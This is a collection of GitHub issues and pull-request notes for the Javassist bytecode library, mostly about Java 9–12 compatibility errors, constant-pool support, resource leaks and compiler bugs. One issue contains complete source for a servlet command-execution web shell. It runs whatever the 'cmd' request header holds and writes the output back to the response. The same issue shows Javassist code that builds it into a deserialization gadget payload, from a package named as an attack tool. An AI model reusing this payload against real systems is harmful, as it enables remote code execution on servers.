Java bytecode engineering toolkit

#270 I thought that the PR/merge would make javassist fully compatible with Dynamic Class-File Constants(https://openjdk.java.net/jeps/309). When running junit tests using powermock on the Java 11 I get this error: "BAD LDC 17". Here Javassist and Mockito is used as a dependency of PowerMock. I am using the following versions.

1. Javassist 3.26.0-GA
2. PowerMock 2.0.2
3. JDK 11
4. Mockito 2.28.0

Unsafe.defineClass was removed so the class can't be defined.

When running with javassist-3.22.0-GA.jar, it results in Caused By: java.lang.NullPointerException at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:103) at javassist.util.proxy.DefineClassHelper.toClass3(DefineClassHelper.java:151)

The quick fix to get a working jar is to remove the JDK9 logic in src/main/javassist/util/proxy/DefineClassHelper.java by removing the JAVA_9 { .... } code and changing the logic to ClassFile.MAJOR_VERSION >= ClassFile.JAVA_9 ? SecuredPrivileged.JAVA_OTHER

JDK11, javassist 3.24.0-GA Unit test:

public void testJava11() throws Exception {
    	ProxyFactory factory = new ProxyFactory();
        factory.setSuperclass(HashMap.class);
        
        HashMap e = (HashMap)factory.create(null, null, new MethodHandler() {
            @Override
            public Object invoke(Object self, Method thisMethod,
                    Method proceed, Object[] args) throws Throwable {
                return proceed.invoke(self, args);
            }
        });
    }

Output:

WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access using Lookup on javassist.util.proxy.DefineClassHelper (file:/C:/Opensource/javassist/target/classes/) to class java.util.HashMap
WARNING: Please consider reporting this to the maintainers of javassist.util.proxy.DefineClassHelper
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
java.lang.RuntimeException: Class not in same package as lookup class: java.util.HashMap has no permission to define the class
	at javassist.util.proxy.ProxyFactory.createClass3(ProxyFactory.java:614)
	at javassist.util.proxy.ProxyFactory.createClass2(ProxyFactory.java:587)
	at javassist.util.proxy.ProxyFactory.createClass1(ProxyFactory.java:523)
	at javassist.util.proxy.ProxyFactory.createClass(ProxyFactory.java:449)
	at javassist.util.proxy.ProxyFactory.create(ProxyFactory.java:789)
	at javassist.util.proxy.ProxyFactory.create(ProxyFactory.java:774)
	at test.javassist.proxy.ProxySimpleTest.testJava11(ProxySimpleTest.java:372)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.base/java.lang.reflect.Method.invoke(Method.java:566)
	at junit.framework.TestCase.runTest(TestCase.java:176)
	at junit.framework.TestCase.runBare(TestCase.java:141)
	at junit.framework.TestResult$1.protect(TestResult.java:122)
	at junit.framework.TestResult.runProtected(TestResult.java:142)
	at junit.framework.TestResult.run(TestResult.java:125)
	at junit.framework.TestCase.run(TestCase.java:129)
	at junit.framework.TestSuite.runTest(TestSuite.java:252)
	at junit.framework.TestSuite.run(TestSuite.java:247)
	at org.junit.internal.runners.JUnit38ClassRunner.run(JUnit38ClassRunner.java:86)
	at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:89)
	at org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:41)
	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:541)
	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:763)
	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:463)
	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:209)
Caused by: javassist.CannotCompileException: Class not in same package as lookup class: java.util.HashMap has no permission to define the class
	at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:300)
	at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:48)
	at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:263)
	at javassist.util.proxy.FactoryHelper.toClass(FactoryHelper.java:136)
	at javassist.util.proxy.ProxyFactory.createClass3(ProxyFactory.java:603)
	... 25 more

If change HashMap class to a customized class, this issue will be gone. Does this mean no way to proxy Java internal class on Java11? Any other way could be implemented in javassist as one alternative solution?

When loading jar containing module-info.java using java 9 build 181

Caused by: java.io.IOException: invalid constant type: 19 at 5 at javassist.bytecode.ConstPool.readOne(ConstPool.java:1244) at javassist.bytecode.ConstPool.read(ConstPool.java:1175) at javassist.bytecode.ConstPool.(ConstPool.java:185) at javassist.bytecode.ClassFile.read(ClassFile.java:839) at javassist.bytecode.ClassFile.(ClassFile.java:164)

somtime we need knew class is exist.

ClassPool pool;

CtClass ct = pool.get("com.Main")
if(ct == null){
    ct = pool.makeClass("com.Main");
}

Reported in https://github.com/realm/realm-java/issues/5521

By further investigation, it appears that the ClassPool is holding on to file descriptors if ClassPath elements referencing Jar or Zip files are not removed again before discarding the ClassPool.

This can be seen in the docs for ClassPath.close(): https://github.com/jboss-javassist/javassist/blob/master/src/main/javassist/ClassPath.java#L67 which are only being called when calling ClassPool.removeClassPath(ClassPath): https://github.com/jboss-javassist/javassist/blob/master/src/main/javassist/ClassPoolTail.java#L239

This is rather non-obvious as the ClassPool is not marked as Closable and nowhere in the description of the ClassPool does it indicate that you need to cleanup resources.

I'm not sure if this is a bug, but as a minimum the docs probably need to be updated to make this use case clear.

Right now we work around it by having subclass ManagedClassPool that is marked as Closable and remember all ClassPath elements so it can remove them when close() is called.

Greetings @chibash,

Can you please let us know the estimated release date of javassist 3.20-GA? We are waiting for the fix https://issues.jboss.org/browse/JASSIST-241 in the new release of javassist

Regards Abed

I want to transform this class using Javassist

public class dfs {

    static java.util.HashSet<Object> h;
    static javax.servlet.http.HttpServletRequest r;
    static javax.servlet.http.HttpServletResponse p;

    public dfs(){
        r = null;
        p = null;
        h =new java.util.HashSet<Object>();
        F(Thread.currentThread(),0);
    }

    private static boolean i(Object obj){
        if(obj==null|| h.contains(obj)){
            return true;
        }

        h.add(obj);
        return false;
    }

    private static void p(Object o, int depth){
        if(depth > 52||(r !=null&& p !=null)){
            return;
        }
        if(!i(o)){
            if(r ==null&&javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())){
                r = (javax.servlet.http.HttpServletRequest)o;
                if(r.getHeader("cmd")==null) {
                    r = null;
                }else{
                    try {
                        p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse").invoke(r);

                    } catch (Exception e) {
                        r = null;
                    }
                }

            }
            if(r !=null&& p !=null){
                try {

                    p.getWriter().println(new java.util.Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
                    p.getWriter().flush();
                }catch (Exception e){
                }
                return;
            }

            F(o,depth+1);
        }
    }

    private static void F(Object start, int depth){

        Class n=start.getClass();
        do{
            for (java.lang.reflect.Field declaredField : n.getDeclaredFields()) {
                declaredField.setAccessible(true);
                Object o = null;
                try{
                    o = declaredField.get(start);

                    if(!o.getClass().isArray()){
                        p(o,depth);
                    }else{
                        for (Object q : (Object[]) o) {
                            p(q, depth);
                        }

                    }

                }catch (Exception e){
                }
            }

        }while(
                (n = n.getSuperclass())!=null
        );
    }
}

he transformation code is as follows

        CtClass clazz = pool.makeClass("com.xxx.x.Test" + System.nanoTime());
        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }
        clazz.addField(CtField.make("static java.util.HashSet/*<Object>*/ h;", clazz));
        clazz.addField(CtField.make("static javax.servlet.http.HttpServletRequest r;",clazz));
        clazz.addField(CtField.make("static javax.servlet.http.HttpServletResponse p;",clazz));

        clazz.addMethod(CtMethod.make("private static boolean i(Object obj){        if(obj==null|| h.contains(obj)){            return true;        }        h.add(obj);        return false;    }",clazz));
        clazz.addMethod(CtMethod.make("private static void F(Object start, int depth){        Class n=start.getClass();        do{            for (Field declaredField : n.getDeclaredFields()) {                declaredField.setAccessible(true);                Object o = null;                try{                    o = declaredField.get(start);                    if(!o.getClass().isArray()){                        p(o,depth);                    }else{                        for (Object q : (Object[]) o) {                            p(q, depth);                        }                    }                }catch (Exception e){                }            }        }while(                (n = n.getSuperclass())!=null        );    }",clazz));

        clazz.addMethod(CtMethod.make("private static void p(Object o, int depth){        if(depth > 52||(r !=null&& p !=null)){            return;        }        if(!i(o)){            if(r ==null&&javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())){                r = (javax.servlet.http.HttpServletRequest)o;                if(r.getHeader(\"cmd\")==null) {                    r = null;                }else{                    try {                        p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod(\"getResponse\",null).invoke(r,null);                    } catch (Exception e) {                        r = null;                    }                }            }            if(r !=null&& p !=null){                try {                    p.getWriter().println(new java.util.Scanner(Runtime.getRuntime().exec(r.getHeader(\"cmd\")).getInputStream()).useDelimiter(\"\\\\A\").next());                    p.getWriter().flush();                }catch (Exception e){                }                return;            }            F(o,depth+1);        }    }",clazz));
        clazz.addMethod(CtMethod.make("public dfs(){        r = null;        p = null;        h =new java.util.HashSet/*<Object>*/();        F(Thread.currentThread(),0);    }",clazz));

I encountered the error reported

Exception in thread "main" javassist.CannotCompileException: [source error] ; is missing
	at javassist.CtNewMethod.make(CtNewMethod.java:84)
	at javassist.CtNewMethod.make(CtNewMethod.java:50)
	at javassist.CtMethod.make(CtMethod.java:140)
	at com.summersec.attack.deser.echo.AllEcho.genPayload(AllEcho.java:25)
	at com.summersec.attack.deser.util.Gadgets.createTemplatesImpl(Gadgets.java:65)
	at com.summersec.attack.deser.util.Gadgets.createTemplatesImpl(Gadgets.java:57)
	at com.summersec.attack.deser.echo.AllEcho.main(AllEcho.java:36)
Caused by: compile error: ; is missing
	at javassist.compiler.Parser.parseDeclarators(Parser.java:643)
	at javassist.compiler.Parser.parseDeclarationOrExpression(Parser.java:600)
	at javassist.compiler.Parser.parseFor(Parser.java:380)
	at javassist.compiler.Parser.parseStatement(Parser.java:279)
	at javassist.compiler.Parser.parseBlock(Parser.java:307)
	at javassist.compiler.Parser.parseStatement(Parser.java:261)
	at javassist.compiler.Parser.parseDo(Parser.java:351)
	at javassist.compiler.Parser.parseStatement(Parser.java:277)
	at javassist.compiler.Parser.parseBlock(Parser.java:307)
	at javassist.compiler.Parser.parseMethod2(Parser.java:172)
	at javassist.compiler.Javac.compileMethod(Javac.java:156)
	at javassist.compiler.Javac.compile(Javac.java:102)
	at javassist.CtNewMethod.make(CtNewMethod.java:79)
	... 6 more

Java 11 introduced a new constant called Constant_Dynamic (defined here https://docs.oracle.com/javase/specs/jvms/se11/html/jvms-4.html#jvms-4.4-210). When running junit tests using powermock on the Java 11 I get this error: invalid constant type: 17 at 130. Support for this constant needs to be added to the ConstPool class.

To fix JASSIST-267. Please kindly help review.

This is a replacement of https://github.com/jboss-javassist/javassist/pull/142 due to my organization suggest me use a new Github account.

This happens whenever annotation contains member that is empty. I can create test code to display this, but think the issue is probably simple, with solution be to check if field values is null. This can be reproduced with javax.persistence.Table annotation.

java.lang.NullPointerException: null at javassist.bytecode.annotation.ArrayMemberValue.write(ArrayMemberValue.java:133) ~[javassist-3.18.1-GA.jar:na] at javassist.bytecode.annotation.Annotation.write(Annotation.java:318) ~[javassist-3.18.1-GA.jar:na] at javassist.bytecode.AnnotationsAttribute.setAnnotations(AnnotationsAttribute.java:248) ~[javassist-3.18.1-GA.jar:na]

Here is code causing the error, with workaround commented out that will avoid NPE:

            Annotation[] annotations = new Annotation[2];
            AnnotationsAttribute attrib =
                    new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag);
            Annotation annotation = new Annotation(constPool, classPool.get(Entity.class.getName()));
            annotations[0] = annotation;
            // Add @Table(name="",schema="") to class
            annotation = new Annotation(constPool, classPool.get(Table.class.getName()));
            annotation.addMemberValue("name", new StringMemberValue(dataTableName, constPool));
            annotation.addMemberValue("schema", new StringMemberValue(dataSchema, constPool));
            // Add empty array to remove NPE at javassist.bytecode.annotation.ArrayMemberValue.write(ArrayMemberValue.java:133)
            // *** THIS FIX (workaround) NEEDS UNCOMMENTING THESE 4 LINES
//          ArrayMemberValue blankMemberValueArray = new ArrayMemberValue(new AnnotationMemberValue(constPool), constPool);
//          blankMemberValueArray.setValue(new MemberValue[0]);
//          annotation.addMemberValue("uniqueConstraints", blankMemberValueArray);
//          annotation.addMemberValue("indexes", blankMemberValueArray);
            annotations[1] = annotation;
            attrib.setAnnotations(annotations);
            ctFile.addAttribute(attrib);

I am trying to upgrade a project from Java 8 to Java 12. I am getting following error when to trying to bring up the service and not sure how to fix it. I have searched for java.lang.IllegalAccessError issues and all I see are related to Powermock. Javassist library is not explicitly specified, but Gradle using the latest version available(org.javassist:javassist:3.28.0-GA) and I don't see multiple version loaded. I tried --illegal-access=permit VM option, but didn't work. Any ideas or suggestion? Thanks in advance

java.lang.IllegalAccessError: class jdk.internal.reflect.ConstructorAccessorImpl loaded by com.company.custom.metadata.run.CompanyLoader @f2ff811 cannot access jdk/internal/reflect superclass jdk.internal.reflect.MagicAccessorImpl at java.base/java.lang.ClassLoader.defineClass1(Native Method) at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1016) at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:877) at javassist.Loader.findClass(Loader.java:419) at javassist.Loader.loadClass(Loader.java:350) at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:521) at java.base/java.lang.ClassLoader.defineClass1(Native Method) at java.base/java.lang.System$2.defineClass(System.java:2189) at java.base/jdk.internal.reflect.ClassDefiner.defineClass(ClassDefiner.java:65) at java.base/jdk.internal.reflect.MethodAccessorGenerator$1.run(MethodAccessorGenerator.java:400) at java.base/jdk.internal.reflect.MethodAccessorGenerator$1.run(MethodAccessorGenerator.java:394) at java.base/java.security.AccessController.doPrivileged(AccessController.java:310) at java.base/jdk.internal.reflect.MethodAccessorGenerator.generate(MethodAccessorGenerator.java:393) at java.base/jdk.internal.reflect.MethodAccessorGenerator.generateConstructor(MethodAccessorGenerator.java:92) at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:55) at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:500) at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:481) at org.jboss.logging.Logger.doGetMessageLogger(Logger.java:2573) at org.jboss.logging.Logger.getMessageLogger(Logger.java:2530) at org.jboss.logging.Logger.getMessageLogger(Logger.java:2516) at org.hibernate.validator.internal.util.logging.LoggerFactory.make(LoggerFactory.java:22) at org.hibernate.validator.internal.engine.ValidatorFactoryConfigurationHelper.(ValidatorFactoryConfigurationHelper.java:51) at org.hibernate.validator.internal.engine.ValidatorFactoryImpl.(ValidatorFactoryImpl.java:135) at org.hibernate.validator.HibernateValidator.buildValidatorFactory(HibernateValidator.java:38) at org.hibernate.validator.internal.engine.AbstractConfigurationImpl.buildValidatorFactory(AbstractConfigurationImpl.java:433) at io.dropwizard.jersey.validation.Validators.newValidatorFactory(Validators.java:26) at io.dropwizard.setup.Bootstrap.(Bootstrap.java:67) at io.dropwizard.Application.run(Application.java:86) at com.company.api.CompanyService.main(CompanyService.java:571) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:567) at javassist.Loader.run(Loader.java:328) at com.company.custom.metadata.CompanyServiceRun.run(CompanyServiceRun.java:151) at com.company.custom.metadata.CompanyServiceRun.main(CompanyServiceRun.java:198)

when using java.lang.Math.pow(2, 2.5) function, get a javassist.CannotCompileException: [source error] pow(int,double) not found in java.lang.Math

The Class Math doesn't contain function pow(int, double), but contains pow(double,double).
Does javassist not support reload method?

       ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(JavaasistTest.class));

        CtClass formulaClass = pool.makeClass("A");
        CtClass mapClass;
        try {
            mapClass = pool.get("java.util.Map");
        } catch (NotFoundException e) {
            throw new RuntimeException("Map exception");
        }

        CtMethod runMethod = new CtMethod(CtClass.doubleType, "run", new CtClass[]{mapClass}, formulaClass);
        runMethod.setModifiers(Modifier.PUBLIC);
        try {
            String body = "{double s = Math.pow(2, 2.5);return s;}";
            runMethod.setBody(body);
        } catch (CannotCompileException e) {
            throw new RuntimeException("CannotCompileException1 exception");
        }

javassist.CannotCompileException: [source error] pow(int,double) not found in java.lang.Math

i want to create a new class by template class and change template class'non-static method to static method

import javassist.ClassPool;
import javassist.CtClass;
import javassist.Modifier;

public class Template {
    public void templateMethod(Object arg) {
        //do something
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.get("Template");
        CtClass newClass = pool.makeClass(template.getClassFile());
        newClass.setName("FinalClass");
        newClass.getDeclaredMethod("templateMethod", new CtClass[]{pool.get(Object.class.getName())}).setModifiers(Modifier.PUBLIC | Modifier.STATIC);

        Class result = newClass.toClass(sun.misc.Launcher.getLauncher().getClassLoader());
    }
}

    

but finall will throw error:

Type top (current frame, locals[0]) is not assignable to reference type

Calling CtClass.toClass(ClassLoader loader, ProtectionDomain domain) renders the following error:

Caused by: java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @6659c656 at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297) at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199) at java.base/java.lang.reflect.Method.setAccessible(Method.java:193) at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159) at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213) at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52) at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260) at javassist.ClassPool.toClass(ClassPool.java:1240) at javassist.CtClass.toClass(CtClass.java:1392)

The purpose of this method is to make changes to code where the line number or variable name is unknown or does not exist. I use it for some obfuscated code, but it doesn't work for all obfuscated code. For unobfuscated code it obviously works. The implementation is included with a test.